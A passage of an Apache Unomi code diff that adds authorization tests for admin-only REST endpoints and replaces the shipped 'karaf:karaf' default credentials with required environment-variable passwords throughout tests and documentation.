+ oneshot.setEntity(new StringEntity(body, ContentType.APPLICATION_JSON));
+
+ try (CloseableHttpResponse tenantAdmin = executeHttpRequest(oneshot, AuthType.PRIVATE_KEY)) {
+ Assert.assertEquals(403, tenantAdmin.getStatusLine().getStatusCode());
+ }
+
+ HttpPost oneshotJaas = new HttpPost(getFullUrl("/cxs/exportConfiguration/oneshot"));
+ oneshotJaas.setEntity(new StringEntity(body, ContentType.APPLICATION_JSON));
+ try (CloseableHttpResponse jaasAdmin = executeHttpRequest(oneshotJaas, AuthType.JAAS_ADMIN)) {
+ Assert.assertNotEquals(403, jaasAdmin.getStatusLine().getStatusCode());
+ Assert.assertNotEquals(401, jaasAdmin.getStatusLine().getStatusCode());
+ }
+ }
+
+ @Test
+ public void groovyActions_requiresSystemAdministrator() throws Exception {
+ String path = getFullUrl("/cxs/groovyActions/rest-role-security-it-missing-action");
+
+ try (CloseableHttpResponse tenantAdmin = executeHttpRequest(new HttpDelete(path), AuthType.PRIVATE_KEY)) {
+ Assert.assertEquals("Tenant private key must not delete groovy actions",
+ 403, tenantAdmin.getStatusLine().getStatusCode());
+ }
+
+ try (CloseableHttpResponse jaasAdmin = executeHttpRequest(new HttpDelete(path), AuthType.JAAS_ADMIN)) {
+ int status = jaasAdmin.getStatusLine().getStatusCode();
+ Assert.assertTrue("JAAS admin delete should be allowed (got " + status + ")",
+ status == 200 || status == 204 || status == 404);
+ }
+ }
+
+ @Test
+ public void groovyActions_upload_requiresSystemAdministrator() throws Exception {
+ String script = "// RestEndpointRoleSecurityIT probe\nvoid execute() {}\n";
+ HttpPost upload = multipartPost(getFullUrl("/cxs/groovyActions/"),
+ "----UnomiGroovyBoundary",
+ filePart("file", "RestRoleSecurityITProbe.groovy", "text/plain", script));
+
+ try (CloseableHttpResponse tenantAdmin = executeHttpRequest(upload, AuthType.PRIVATE_KEY)) {
+ Assert.assertEquals("Tenant private key must not upload groovy actions",
+ 403, tenantAdmin.getStatusLine().getStatusCode());
+ }
+
+ HttpPost uploadJaas = multipartPost(getFullUrl("/cxs/groovyActions/"),
+ "----UnomiGroovyBoundaryJaas",
+ filePart("file", "RestRoleSecurityITProbe.groovy", "text/plain", script));
+ try (CloseableHttpResponse jaasAdmin = executeHttpRequest(uploadJaas, AuthType.JAAS_ADMIN)) {
+ Assert.assertEquals("JAAS admin should be allowed to upload groovy actions",
+ 200, jaasAdmin.getStatusLine().getStatusCode());
+ }
+
+ try (CloseableHttpResponse cleanup = executeHttpRequest(
+ new HttpDelete(getFullUrl("/cxs/groovyActions/RestRoleSecurityITProbe")), AuthType.JAAS_ADMIN)) {
+ int status = cleanup.getStatusLine().getStatusCode();
+ Assert.assertTrue(status == 200 || status == 204 || status == 404);
+ }
+ }
+
+ private static HttpPost multipartPost(String url, String boundary, String... parts) {
+ HttpPost post = new HttpPost(url);
+ StringBuilder body = new StringBuilder();
+ for (String part : parts) {
+ body.append("--").append(boundary).append("\r\n").append(part);
+ }
+ body.append("--").append(boundary).append("--\r\n");
+ post.setHeader("Content-Type", "multipart/form-data; boundary=" + boundary);
+ post.setEntity(new ByteArrayEntity(body.toString().getBytes(StandardCharsets.UTF_8)));
+ return post;
+ }
+
+ private static String part(String name, String contentType, String value) {
+ return "Content-Disposition: form-data; name=\"" + name + "\"\r\n"
+ + "Content-Type: " + contentType + "\r\n\r\n"
+ + value + "\r\n";
+ }
+
+ private static String filePart(String name, String filename, String contentType, String value) {
+ return "Content-Disposition: form-data; name=\"" + name + "\"; filename=\"" + filename + "\"\r\n"
+ + "Content-Type: " + contentType + "\r\n\r\n"
+ + value + "\r\n";
+ }
+}
diff --git a/itests/src/test/java/org/apache/unomi/itests/TenantIT.java b/itests/src/test/java/org/apache/unomi/itests/TenantIT.java
index a9ef9a5952..9cce847074 100644
--- a/itests/src/test/java/org/apache/unomi/itests/TenantIT.java
+++ b/itests/src/test/java/org/apache/unomi/itests/TenantIT.java
@@ -190,7 +190,7 @@ public void testTenantEndpointAuthentication() throws Exception {
// Create test tenant for API key tests
BasicCredentialsProvider adminCredsProvider = new BasicCredentialsProvider();
- adminCredsProvider.setCredentials(AuthScope.ANY, new UsernamePasswordCredentials("karaf", "karaf"));
+ adminCredsProvider.setCredentials(AuthScope.ANY, new UsernamePasswordCredentials(BASIC_AUTH_USER_NAME, BASIC_AUTH_PASSWORD));
try (CloseableHttpClient adminClient = HttpClients.custom().setDefaultCredentialsProvider(adminCredsProvider).build()) {
Map requestBody = new HashMap<>();
@@ -273,7 +273,7 @@ public void testPublicEndpointAuthentication() throws Exception {
// Test with JAAS auth (should succeed) — use a fresh request to avoid carrying X-Unomi-Api-Key from previous step
BasicCredentialsProvider adminCredsProvider = new BasicCredentialsProvider();
- adminCredsProvider.setCredentials(AuthScope.ANY, new UsernamePasswordCredentials("karaf", "karaf"));
+ adminCredsProvider.setCredentials(AuthScope.ANY, new UsernamePasswordCredentials(BASIC_AUTH_USER_NAME, BASIC_AUTH_PASSWORD));
try (CloseableHttpClient adminClient = HttpClients.custom().setDefaultCredentialsProvider(adminCredsProvider).build();
CloseableHttpResponse response = adminClient.execute(new HttpGet(getFullUrl("/context.json?sessionId=" + sessionId)))) {
Assert.assertEquals("JAAS auth should grant access to public endpoints", 200, response.getStatusLine().getStatusCode());
@@ -325,7 +325,7 @@ public void testPrivateEndpointAuthentication() throws Exception {
// Test with JAAS auth (should succeed) — use a fresh request to avoid carrying Authorization from previous step
BasicCredentialsProvider adminCredsProvider = new BasicCredentialsProvider();
- adminCredsProvider.setCredentials(AuthScope.ANY, new UsernamePasswordCredentials("karaf", "karaf"));
+ adminCredsProvider.setCredentials(AuthScope.ANY, new UsernamePasswordCredentials(BASIC_AUTH_USER_NAME, BASIC_AUTH_PASSWORD));
try (CloseableHttpClient adminClient = HttpClients.custom().setDefaultCredentialsProvider(adminCredsProvider).build();
CloseableHttpResponse response = adminClient.execute(new HttpGet(getFullUrl("/cxs/profiles/count")))) {
Assert.assertEquals("JAAS auth should grant access to private endpoints", 200, response.getStatusLine().getStatusCode());
@@ -378,7 +378,7 @@ public void testApiKeyAuthentication() throws Exception {
// Test with JAAS authentication (should succeed)
getRequest = new HttpGet(getFullUrl("/cxs/profiles/count"));
- getRequest.setHeader("Authorization", "Basic " + Base64.getEncoder().encodeToString(("karaf:karaf").getBytes()));
+ getRequest.setHeader("Authorization", "Basic " + Base64.getEncoder().encodeToString((BASIC_AUTH_USER_NAME + ":" + BASIC_AUTH_PASSWORD).getBytes()));
try (CloseableHttpResponse response = executeHttpRequest(getRequest, AuthType.JAAS_ADMIN)) {
Assert.assertEquals("JAAS authentication should grant access to private endpoints", 200, response.getStatusLine().getStatusCode());
}
diff --git a/itests/src/test/java/org/apache/unomi/itests/V2CompatibilityModeIT.java b/itests/src/test/java/org/apache/unomi/itests/V2CompatibilityModeIT.java
index cce6c54847..f27089368c 100644
--- a/itests/src/test/java/org/apache/unomi/itests/V2CompatibilityModeIT.java
+++ b/itests/src/test/java/org/apache/unomi/itests/V2CompatibilityModeIT.java
@@ -225,7 +225,7 @@ private void testV3ModeBehavior() throws Exception {
request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON));
BasicCredentialsProvider credsProvider = new BasicCredentialsProvider();
- credsProvider.setCredentials(AuthScope.ANY, new UsernamePasswordCredentials("karaf", "karaf"));
+ credsProvider.setCredentials(AuthScope.ANY, new UsernamePasswordCredentials(BASIC_AUTH_USER_NAME, BASIC_AUTH_PASSWORD));
RequestConfig requestConfig = RequestConfig.custom()
.setAuthenticationEnabled(true)
@@ -283,7 +283,7 @@ private void testV2ModeBehavior() throws Exception {
HttpGet getRequest = new HttpGet(getFullUrl("/cxs/profiles/" + TEST_PROFILE_ID));
BasicCredentialsProvider credsProvider = new BasicCredentialsProvider();
- credsProvider.setCredentials(AuthScope.ANY, new UsernamePasswordCredentials("karaf", "karaf"));
+ credsProvider.setCredentials(AuthScope.ANY, new UsernamePasswordCredentials(BASIC_AUTH_USER_NAME, BASIC_AUTH_PASSWORD));
RequestConfig requestConfig = RequestConfig.custom()
.setAuthenticationEnabled(true)
diff --git a/itests/src/test/java/org/apache/unomi/itests/graphql/BaseGraphQLIT.java b/itests/src/test/java/org/apache/unomi/itests/graphql/BaseGraphQLIT.java
index 1ff2201092..34db0381e0 100644
--- a/itests/src/test/java/org/apache/unomi/itests/graphql/BaseGraphQLIT.java
+++ b/itests/src/test/java/org/apache/unomi/itests/graphql/BaseGraphQLIT.java
@@ -72,7 +72,7 @@ protected CloseableHttpResponse postAnonymous(final String resource) throws Exce
}
/**
- * Performs a GraphQL POST request with JAAS admin authentication (karaf:karaf).
+ * Performs a GraphQL POST request with JAAS admin authentication ({@link #BASIC_AUTH_USER_NAME}/{@link #BASIC_AUTH_PASSWORD}).
* This is equivalent to AuthType.JAAS_ADMIN.
*
* @param resource The resource path to the GraphQL query/mutation
diff --git a/itests/src/test/resources/etc/users.properties b/itests/src/test/resources/etc/users.properties
index 377fe6a160..538906c38c 100644
--- a/itests/src/test/resources/etc/users.properties
+++ b/itests/src/test/resources/etc/users.properties
@@ -29,6 +29,6 @@
# and modifiable via the JAAS command group. These users reside in a JAAS domain
# with the name "karaf".
#
-karaf = ${org.apache.unomi.security.root.password:-karaf},_g_:admingroup
-health = ${org.apache.unomi.healthcheck.password:-health},health
+karaf = ${org.apache.unomi.security.root.password},_g_:admingroup
+health = ${org.apache.unomi.healthcheck.password},health
_g_\:admingroup = group,admin,manager,viewer,systembundles,ssh,ROLE_UNOMI_ADMIN,ROLE_UNOMI_TENANT_USER,ROLE_UNOMI_TENANT_ADMIN
diff --git a/manual/src/main/asciidoc/5-min-quickstart.adoc b/manual/src/main/asciidoc/5-min-quickstart.adoc
index c42a9404a7..9966b275ad 100644
--- a/manual/src/main/asciidoc/5-min-quickstart.adoc
+++ b/manual/src/main/asciidoc/5-min-quickstart.adoc
@@ -19,6 +19,16 @@ Begin by creating a `docker-compose.yml` file. You can choose between Elasticsea
==== Option 1: Using Elasticsearch
+Export the passwords first. The compose files read them from your shell, and the `curl` commands
+further down use the same variables, so setting them once here keeps both consistent. Unomi refuses
+to start if they are unset.
+
+[source,bash]
+----
+export UNOMI_ROOT_PASSWORD='choose-a-strong-password'
+export UNOMI_HEALTHCHECK_PASSWORD='choose-a-strong-health-password'
+----
+
[source,yaml]
----
version: '3.8'
@@ -35,6 +45,8 @@ services:
environment:
- UNOMI_ELASTICSEARCH_ADDRESSES=elasticsearch:9200
- UNOMI_THIRDPARTY_PROVIDER1_IPADDRESSES=0.0.0.0/0,::1,127.0.0.1
+ - UNOMI_ROOT_PASSWORD=${UNOMI_ROOT_PASSWORD}
+ - UNOMI_HEALTHCHECK_PASSWORD=${UNOMI_HEALTHCHECK_PASSWORD}
ports:
- 8181:8181
- 9443:9443
@@ -84,6 +96,8 @@ services:
- UNOMI_OPENSEARCH_SSL_ENABLE=true
- UNOMI_OPENSEARCH_SSL_TRUST_ALL_CERTIFICATES=true
- UNOMI_HEALTHCHECK_PROVIDERS=cluster,opensearch,unomi,persistence
+ - UNOMI_ROOT_PASSWORD=${UNOMI_ROOT_PASSWORD}
+ - UNOMI_HEALTHCHECK_PASSWORD=${UNOMI_HEALTHCHECK_PASSWORD}
ports:
- 8181:8181
- 9443:9443
@@ -104,7 +118,7 @@ Once Unomi is running, create a tenant, then **regenerate** API keys and save th
[source,bash]
----
curl -X POST http://localhost:8181/cxs/tenants \
- --user karaf:karaf \
+ --user "karaf:${UNOMI_ROOT_PASSWORD}" \
-H "Content-Type: application/json" \
-d '{
"requestedId": "default",
@@ -114,13 +128,13 @@ curl -X POST http://localhost:8181/cxs/tenants \
}
}'
-curl -X POST "http://localhost:8181/cxs/tenants/default/apikeys?type=PUBLIC" --user karaf:karaf
-curl -X POST "http://localhost:8181/cxs/tenants/default/apikeys?type=PRIVATE" --user karaf:karaf
+curl -X POST "http://localhost:8181/cxs/tenants/default/apikeys?type=PUBLIC" --user "karaf:${UNOMI_ROOT_PASSWORD}"
+curl -X POST "http://localhost:8181/cxs/tenants/default/apikeys?type=PRIVATE" --user "karaf:${UNOMI_ROOT_PASSWORD}"
----
Use the public API key in `X-Unomi-Api-Key` for `/cxs/context.json` requests. See <<_multitenancy,Multi-tenancy>>.
-Try accessing https://localhost:9443/cxs/cluster with username/password: karaf/karaf . You might get a certificate warning in your browser, just accept it despite the warning it is safe.
+Try accessing https://localhost:9443/cxs/cluster with username/password: `karaf` / your `UNOMI_ROOT_PASSWORD` . You might get a certificate warning in your browser, just accept it despite the warning it is safe.
=== Quick Start manually
@@ -159,6 +173,14 @@ discovery.type: single-node
5) Download Apache Unomi here : https://unomi.apache.org/download.html
+5b) Before starting Karaf, export required passwords (Unomi will refuse to start without them):
+
+[source,bash]
+----
+export UNOMI_ROOT_PASSWORD='choose-a-strong-password'
+export UNOMI_HEALTHCHECK_PASSWORD='choose-a-strong-health-password'
+----
+
6) Start it using : `./bin/karaf`
7) Start the Apache Unomi packages using:
@@ -173,14 +195,14 @@ which determines which set of features and bundles are installed and started. A
8) Wait for startup to complete
-9) Try accessing https://localhost:9443/cxs/cluster with username/password: `karaf/karaf` . You might get a certificate warning in your browser, just accept it despite the warning it is safe.
+9) Try accessing https://localhost:9443/cxs/cluster with username/password: `karaf` / your `UNOMI_ROOT_PASSWORD` . You might get a certificate warning in your browser, just accept it despite the warning it is safe.
10) Create a tenant that will own all your data, then regenerate keys and store `plainTextKey`:
[source,bash]
----
curl -X POST http://localhost:8181/cxs/tenants \
- --user karaf:karaf \
+ --user "karaf:${UNOMI_ROOT_PASSWORD}" \
-H "Content-Type: application/json" \
-d '{
"requestedId": "default",
@@ -190,8 +212,8 @@ curl -X POST http://localhost:8181/cxs/tenants \
}
}'
-curl -X POST "http://localhost:8181/cxs/tenants/default/apikeys?type=PUBLIC" --user karaf:karaf
-curl -X POST "http://localhost:8181/cxs/tenants/default/apikeys?type=PRIVATE" --user karaf:karaf
+curl -X POST "http://localhost:8181/cxs/tenants/default/apikeys?type=PUBLIC" --user "karaf:${UNOMI_ROOT_PASSWORD}"
+curl -X POST "http://localhost:8181/cxs/tenants/default/apikeys?type=PRIVATE" --user "karaf:${UNOMI_ROOT_PASSWORD}"
----
Save the `plainTextKey` values from the key-creation responses — you'll need them for API calls.
diff --git a/manual/src/main/asciidoc/builtin-event-types.adoc b/manual/src/main/asciidoc/builtin-event-types.adoc
index 800c1b3fed..92c5bf6a61 100644
--- a/manual/src/main/asciidoc/builtin-event-types.adoc
+++ b/manual/src/main/asciidoc/builtin-event-types.adoc
@@ -23,7 +23,9 @@ This event should be “secured”, meaning that it should not be accepted from
Usually, the login event will contain information passed by the authentication server and may include user properties and any additional information.
Rules may be set up to copy the information from the event into the profile, but this is not done in the default set of rules provided by Apache Unomi for security reasons.
-You can find an example of such a rule here: https://github.com/apache/unomi/blob/master/samples/login-integration/src/main/resources/META-INF/cxs/rules/exampleLogin.json[https://github.com/apache/unomi/blob/master/samples/login-integration/src/main/resources/META-INF/cxs/rules/exampleLogin.json]
+You can find an example of such a rule here:
+https://github.com/apache/unomi/blob/master/samples/login-integration/src/main/resources/META-INF/cxs/rules/exampleLogin.json[exampleLogin.json]
+(see <<_login_sample,Login sample>> — the event must be sent from a trusted server-side caller).
===== Structure overview
@@ -240,7 +242,9 @@ image::form-event-type.png[]
This event is usually used by user interfaces that make it possible to modify profile properties, for example a form where a user can edit his profile properties, or a management UI to modify.
-Note that this event type is a protected event type that is only accepted from configured third-party servers.
+Note that this event type is a protected event type that is only accepted from configured third-party servers
+(or equivalently from a trusted private-key / administrator caller in 3.1). Cross-profile updates and
+`systemProperties.*` writes also require a trusted caller — see <<_client_facing_hardening_3_1,client-facing hardening>>.
===== Structure definition
diff --git a/manual/src/main/asciidoc/configuration.adoc b/manual/src/main/asciidoc/configuration.adoc
index b76b2abb2e..2ebbbc88c6 100644
--- a/manual/src/main/asciidoc/configuration.adoc
+++ b/manual/src/main/asciidoc/configuration.adoc
@@ -248,7 +248,10 @@ At the end, you should have about 4 million entries in the geonames index.
=== REST API Security
The Apache Unomi Context Server REST API is protected using JAAS authentication and using Basic or Digest HTTP auth.
-By default, the login/password for the REST API full administrative access is "karaf/karaf".
+You must set an admin password via `UNOMI_ROOT_PASSWORD` (or `org.apache.unomi.security.root.password`)
+and a health-check password via `UNOMI_HEALTHCHECK_PASSWORD` (or `org.apache.unomi.healthcheck.password`);
+Unomi does not ship known defaults.
+The default JAAS user name is `karaf`.
The generated package is also configured with a default SSL certificate. You can change it by following these steps :
@@ -267,8 +270,9 @@ org.ops4j.pax.web.ssl.keypassword=${env:UNOMI_SSL_KEYPASSWORD:-changeme}
You should now have SSL setup on Karaf with your certificate, and you can test it by trying to access it on port 9443.
-Changing the default Karaf password can be done by modifying the `org.apache.unomi.security.root.password` in the
-`$MY_KARAF_HOME/etc/unomi.custom.system.properties` file
+Changing the Karaf admin password is done by setting `UNOMI_ROOT_PASSWORD` or by modifying
+`org.apache.unomi.security.root.password` in the
+`$MY_KARAF_HOME/etc/unomi.custom.system.properties` file. Unomi does not ship a known default password.
=== Tenant Management and API Access
@@ -278,14 +282,14 @@ Apache Unomi supports multi-tenancy, allowing multiple organizations to use the
IMPORTANT: All tenant management operations (create, list, update, delete, API key management) are restricted to administrators only and require JAAS authentication. These endpoints cannot be accessed using tenant API keys.
-To manage tenants, you need administrator access to Unomi (default credentials: karaf/karaf). You can manage tenants using either the REST API or the Karaf shell commands:
+To manage tenants, you need administrator access to Unomi (`karaf` / your `UNOMI_ROOT_PASSWORD`). You can manage tenants using either the REST API or the Karaf shell commands:
Using REST API (requires admin credentials):
[source,bash]
----
# Create a new tenant (JAAS auth required)
curl -X POST "http://localhost:8181/cxs/tenants" \
- -u karaf:karaf \
+ -u "karaf:$UNOMI_ROOT_PASSWORD" \
-H "Content-Type: application/json" \
-d '{
"requestedId": "mytenant",
@@ -318,17 +322,17 @@ curl -X POST "http://localhost:8181/cxs/tenants" \
# List all tenants (JAAS auth required)
curl -X GET "http://localhost:8181/cxs/tenants" \
- -u karaf:karaf \
+ -u "karaf:$UNOMI_ROOT_PASSWORD" \
-H "Accept: application/json"
# Get tenant details (JAAS auth required)
curl -X GET "http://localhost:8181/cxs/tenants/mytenant" \
- -u karaf:karaf \
+ -u "karaf:$UNOMI_ROOT_PASSWORD" \
-H "Accept: application/json"
# Delete a tenant (JAAS auth required)
curl -X DELETE "http://localhost:8181/cxs/tenants/mytenant" \
- -u karaf:karaf
+ -u "karaf:$UNOMI_ROOT_PASSWORD"
----
Using Karaf shell (requires admin access to Karaf console). See <<_shell_commands,Shell commands>> for full syntax:
@@ -362,9 +366,9 @@ unomi:crud read tenant -i mytenant
# Obtain plaintext (store immediately; it is not persisted)
curl -X POST "http://localhost:8181/cxs/tenants/mytenant/apikeys?type=PUBLIC" \
- -u karaf:karaf
+ -u "karaf:$UNOMI_ROOT_PASSWORD"
curl -X POST "http://localhost:8181/cxs/tenants/mytenant/apikeys?type=PRIVATE" \
- -u karaf:karaf
+ -u "karaf:$UNOMI_ROOT_PASSWORD"
# Response example:
{
@@ -382,7 +386,7 @@ To generate new API keys (requires admin access):
----
# Using REST API (JAAS auth required). Replaces any existing key of the same type.
curl -X POST "http://localhost:8181/cxs/tenants/mytenant/apikeys?type=PUBLIC&validityDays=30" \
- -u karaf:karaf
+ -u "karaf:$UNOMI_ROOT_PASSWORD"
# Response (HTTP 200 OK) — store plainTextKey immediately:
{
@@ -442,7 +446,7 @@ curl -X POST "http://localhost:8181/cxs/profiles/search" \
[source,bash]
----
curl -X GET "http://localhost:8181/cxs/tenants" \
- --user "karaf:karaf" \
+ --user "karaf:$UNOMI_ROOT_PASSWORD" \
-H "Accept: application/json"
----
@@ -817,10 +821,12 @@ Once the action has been created you need to submit it to Unomi (from the same f
[source,bash]
----
curl -X POST 'http://localhost:8181/cxs/groovyActions' \
---user "TENANT_ID:PRIVATE_KEY" \
+--user "karaf:${UNOMI_ROOT_PASSWORD}" \
--form 'file=@helloWorldGroovyAction.groovy'
----
+NOTE: Groovy Actions REST requires the system `ADMINISTRATOR` role (not a tenant private key). See <<_client_facing_hardening_3_1,client-facing hardening>>.
+
Important: A bug ( https://issues.apache.org/jira/browse/UNOMI-847[UNOMI-847] ) in Apache Unomi 2.5 and lower requires the filename of a Groovy file being submitted to be the same as the id of the Groovy action (as per the example above).
Finally, register a rule to trigger execution of the groovy action:
@@ -860,7 +866,7 @@ Once you're done with the Hello World! action, it can be deleted using the follo
[source,bash]
----
curl -X DELETE 'http://localhost:8181/cxs/groovyActions/helloWorldGroovyAction' \
---user "TENANT_ID:PRIVATE_KEY"
+--user "karaf:${UNOMI_ROOT_PASSWORD}"
----
And the corresponding rule can be deleted using the following command:
@@ -1078,7 +1084,7 @@ The `MergeProfilesOnPropertyAction` supports the following parameters:
==== Security considerations
-IMPORTANT: Never trigger profile merges from unauthenticated operations such as form submissions or public-facing APIs. Always verify user identity before performing a merge.
+IMPORTANT: Never trigger profile merges from unauthenticated or public-key-only operations such as form submissions or public-facing context events. Merging into another profile (or switching identity after a merge) requires a **trusted** caller — system administrator or tenant administrator (private key). Always verify user identity on your application server before emitting a merge-triggering event. See <<_client_facing_hardening_3_1,client-facing hardening>>.
The following diagram highlights key security considerations:
@@ -1178,23 +1184,29 @@ documentation for here :
* https://karaf.apache.org/manual/latest/#_security_2[https://karaf.apache.org/manual/latest/#_security_2]
-The default username/password is
+You must set an admin password and a health-check password before using the REST API / health endpoints.
+There are **no** known default passwords shipped with Unomi.
-[source]
+Set the environment variables `UNOMI_ROOT_PASSWORD` and `UNOMI_HEALTHCHECK_PASSWORD`, or set
+`org.apache.unomi.security.root.password` and `org.apache.unomi.healthcheck.password` in
+`$MY_KARAF_HOME/etc/unomi.custom.system.properties` (or `etc/custom.system.properties`).
+
+Example:
+
+[source,bash]
----
-karaf/karaf
+export UNOMI_ROOT_PASSWORD='choose-a-strong-password'
+export UNOMI_HEALTHCHECK_PASSWORD='choose-a-strong-health-password'
----
-You should really change this default username/password as soon as possible. Changing the default Karaf password can be
-done by modifying the `org.apache.unomi.security.root.password` in the `$MY_KARAF_HOME/etc/unomi.custom.system.properties` file
-
-Or if you want to also change the user name you could modify the following file :
+The JAAS admin user name defaults to `karaf`. Authenticate with `karaf:$UNOMI_ROOT_PASSWORD`.
+The health-check user name defaults to `health`. Authenticate with `health:$UNOMI_HEALTHCHECK_PASSWORD`.
- $MY_KARAF_HOME/etc/users.properties
+To change the admin user name, edit `$MY_KARAF_HOME/etc/users.properties` and also set:
-But you will also need to change the following property in the $MY_KARAF_HOME/etc/unomi.custom.system.properties :
+ karaf.local.user =
- karaf.local.user = karaf
+in `unomi.custom.system.properties`.
For your context servers, and for any standalone Elasticsearch nodes you will need to open the following ports for proper
node-to-node communication : 9200 (Elasticsearch REST API), 9300 (Elasticsearch TCP transport)
diff --git a/manual/src/main/asciidoc/connectors/salesforce-connector.adoc b/manual/src/main/asciidoc/connectors/salesforce-connector.adoc
index 9260397472..abe1763842 100644
--- a/manual/src/main/asciidoc/connectors/salesforce-connector.adoc
+++ b/manual/src/main/asciidoc/connectors/salesforce-connector.adoc
@@ -77,7 +77,7 @@ If this is not the case or you prefer to deploy using a KAR bundle, see the KAR
+
[source]
----
-ssh -p 8102 karaf@localhost (default password is karaf)
+ssh -p 8102 karaf@localhost (the password is your configured UNOMI_ROOT_PASSWORD)
----
+
. Deploy into Apache Unomi using the following commands from the Apache Karaf shell:
@@ -111,8 +111,9 @@ The first URL will give you information about the version of the connectors, so
plugin is properly deployed, started and the correct version. The second URL will actually make a request to the
Salesforce REST API to retrieve the limits of the Salesforce API.
+
-Both URLs are password protected by the Apache Unomi (Karaf) password. You can find this user and password information
-in the etc/users.properties file.
+Both URLs are password protected by the Apache Unomi (Karaf) password: the `karaf` user and the
+`UNOMI_ROOT_PASSWORD` you configured at startup. No default password is shipped, and
+`etc/users.properties` only references the configured value rather than containing it.
You can now use the connectors's defined actions in rules to push or pull data to/from the Salesforce CRM. You can
find more information about rules in the <<_data_model_overview,Data Model>> and the <<_getting_started_with_unomi,Getting Started>> pages.
@@ -152,7 +153,7 @@ mvn clean install
+
[source]
----
-ssh -p 8102 karaf@localhost (password by default is karaf)
+ssh -p 8102 karaf@localhost (the password is your configured UNOMI_ROOT_PASSWORD)
----
+
. Execute the following commands in the Karaf shell
@@ -171,7 +172,7 @@ feature:install unomi-salesforce-connector-karaf-feature
https://localhost:9443/cxs/sfdc/version
----
+
-(if asked for a password it's the same karaf/karaf default)
+(if asked for credentials, use the `karaf` user and your configured `UNOMI_ROOT_PASSWORD`)
==== Using the Salesforce Workbench for testing REST API
diff --git a/manual/src/main/asciidoc/getting-started.adoc b/manual/src/main/asciidoc/getting-started.adoc
index 223cb38486..1351cbc955 100644
--- a/manual/src/main/asciidoc/getting-started.adoc
+++ b/manual/src/main/asciidoc/getting-started.adoc
@@ -50,6 +50,21 @@ Note for OpenSearch users:
==== Running Unomi
+===== Set the admin and health passwords (required)
+
+Unomi does not ship known default passwords. Set both *before* starting the server
+(otherwise startup fails with a clear error):
+
+[source,bash]
+----
+export UNOMI_ROOT_PASSWORD='choose-a-strong-password'
+export UNOMI_HEALTHCHECK_PASSWORD='choose-a-strong-health-password'
+----
+
+Authenticate later with `karaf:$UNOMI_ROOT_PASSWORD`. See the configuration chapter if you prefer to set
+`org.apache.unomi.security.root.password` / `org.apache.unomi.healthcheck.password` in
+`etc/custom.system.properties` instead.
+
===== Start Unomi
Start Unomi according to the <<_five_minutes_quickstart,quick start with docker>> or by compiling using the
@@ -67,14 +82,14 @@ Initializing profile service endpoint...
Initializing cluster service endpoint...
----
-This indicates that all the Unomi services are started and ready to react to requests.
+This indicates that all the Unomi services are started and ready to react to requests.
-Before you can use the API, you need to create a tenant:
+Create a tenant (using the password you set before startup):
[source,bash]
----
curl -X POST http://localhost:8181/cxs/tenants \
- --user karaf:karaf \
+ --user "karaf:${UNOMI_ROOT_PASSWORD}" \
-H "Content-Type: application/json" \
-d '{
"requestedId": "default",
@@ -89,8 +104,8 @@ The tenant create response includes **masked** API key metadata only. Regenerate
[source,bash]
----
-curl -X POST "http://localhost:8181/cxs/tenants/default/apikeys?type=PUBLIC" --user karaf:karaf
-curl -X POST "http://localhost:8181/cxs/tenants/default/apikeys?type=PRIVATE" --user karaf:karaf
+curl -X POST "http://localhost:8181/cxs/tenants/default/apikeys?type=PUBLIC" --user "karaf:${UNOMI_ROOT_PASSWORD}"
+curl -X POST "http://localhost:8181/cxs/tenants/default/apikeys?type=PRIVATE" --user "karaf:${UNOMI_ROOT_PASSWORD}"
----
Store `plainTextKey` immediately — you'll need the public key for subsequent API calls. See <<_multitenancy,Multi-tenancy>> for authentication details.
diff --git a/manual/src/main/asciidoc/graphql-examples.adoc b/manual/src/main/asciidoc/graphql-examples.adoc
index 847a7ac99c..57656e60ac 100644
--- a/manual/src/main/asciidoc/graphql-examples.adoc
+++ b/manual/src/main/asciidoc/graphql-examples.adoc
@@ -171,13 +171,16 @@ To make this query work you need to supply authorization token in the `HTTP head
[source,json]
----
{
- "authorization": "Basic a2FyYWY6a2FyYWY="
+ "authorization": "Basic BASE64_OF_KARAF_AND_ROOT_PASSWORD"
}
----
-NOTE: GraphQL requests need authentication. For **mutations and administrative queries**, use HTTP Basic with JAAS (`karaf:karaf`) or `tenantId:privateApiKey`. For **public read** operations on the `cdp` root field, send `X-Unomi-Api-Key` with a tenant public API key. See <<_graphql_api,GraphQL API>> authentication.
+Generate the Base64 value from your own credentials, for example with
+`printf 'karaf:%s' "$UNOMI_ROOT_PASSWORD" | base64`.
-When using curl, you can use the `--user` option instead of manually encoding credentials. For example, `--user karaf:karaf` or `--user TENANT_ID:PRIVATE_KEY` automatically handles Base64 encoding for Basic authentication. For public reads:
+NOTE: GraphQL requests need authentication. For **mutations and administrative queries**, use HTTP Basic with JAAS (the `karaf` user and your configured `UNOMI_ROOT_PASSWORD`) or `tenantId:privateApiKey`. For **public read** operations on the `cdp` root field, send `X-Unomi-Api-Key` with a tenant public API key. See <<_graphql_api,GraphQL API>> authentication.
+
+When using curl, you can use the `--user` option instead of manually encoding credentials. For example, `--user "karaf:$UNOMI_ROOT_PASSWORD"` or `--user TENANT_ID:PRIVATE_KEY` automatically handles Base64 encoding for Basic authentication. For public reads:
[source,bash]
----
diff --git a/manual/src/main/asciidoc/how-profile-tracking-works.adoc b/manual/src/main/asciidoc/how-profile-tracking-works.adoc
index 587ba0f9b6..3b7c35f4c8 100644
--- a/manual/src/main/asciidoc/how-profile-tracking-works.adoc
+++ b/manual/src/main/asciidoc/how-profile-tracking-works.adoc
@@ -122,7 +122,7 @@ Starting with Apache Unomi 3.1, tenant resolution is mandatory for all requests
3. **Tenant ID Header** (When using JAAS authentication):
* Send the `X-Unomi-Tenant-Id` header with the tenant ID
- * Used when authenticating via JAAS (e.g., `karaf:karaf`)
+ * Used when authenticating via JAAS (e.g., the `karaf` user and your configured `UNOMI_ROOT_PASSWORD`)
* The tenant ID must exist in the system
If no tenant can be resolved, the request will fail with an `UNAUTHORIZED` (401) error. This ensures that all data operations are scoped to the correct tenant in multi-tenant deployments.
@@ -173,7 +173,7 @@ The tenant is resolved from the Basic Auth credentials (`mytenant` is the tenant
[source,bash]
----
curl -X POST http://localhost:8181/cxs/context.json?sessionId=1234 \
---user "karaf:karaf" \
+--user "karaf:$UNOMI_ROOT_PASSWORD" \
-H "X-Unomi-Tenant-Id: mytenant" \
-H "Content-Type: application/json" \
-d '{
@@ -232,24 +232,26 @@ end note
[IMPORTANT]
====
